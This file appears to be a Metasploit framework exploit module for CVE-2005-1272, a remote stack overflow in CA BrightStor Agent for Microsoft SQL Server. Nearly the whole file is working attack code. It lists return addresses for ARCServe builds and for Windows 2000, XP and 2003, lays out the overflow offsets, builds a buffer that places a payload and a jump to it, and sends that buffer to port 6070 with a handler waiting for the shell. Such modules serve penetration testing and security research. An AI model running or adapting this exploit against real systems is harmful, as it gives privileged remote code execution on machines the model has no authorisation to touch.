metasploit-framework/modules/exploits/windows/brightstor/sql_agent.rb

102 lines
3.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
'Description' => %q{
This module exploits a vulnerability in the CA BrightStor
Agent for Microsoft SQL Server. This vulnerability was
discovered by cybertronic[at]gmx.net.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-1272'],
[ 'OSVDB', '18501' ],
[ 'BID', '14453'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },
'Targets' =>
[
# This exploit requires a jmp esp for return
['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
# Generic jmp esp's
['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
],
'DisclosureDate' => 'Aug 02 2005',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6070)
])
end
def exploit
print_status("Trying target #{target.name}...")
# The 'one line' request does not work against Windows 2003
1.upto(5) { |i|
# Flush some memory
connect
begin
sock.put("\xff" * 0x12000)
sock.get_once
rescue
end
disconnect
# 3288 bytes max
# 696 == good data (1228 bytes contiguous) @ 0293f5e0
# 3168 == return address
# 3172 == esp @ 0293ff8c (2476 from good data)
buf = rand_text_english(3288, payload_badchars)
buf[ 696, payload.encoded.length ] = payload.encoded
buf[3168, 4] = [target.ret].pack('V') # jmp esp
buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476
connect
begin
sock.put(buf)
sock.get_once
rescue
end
handler
disconnect
}
end
end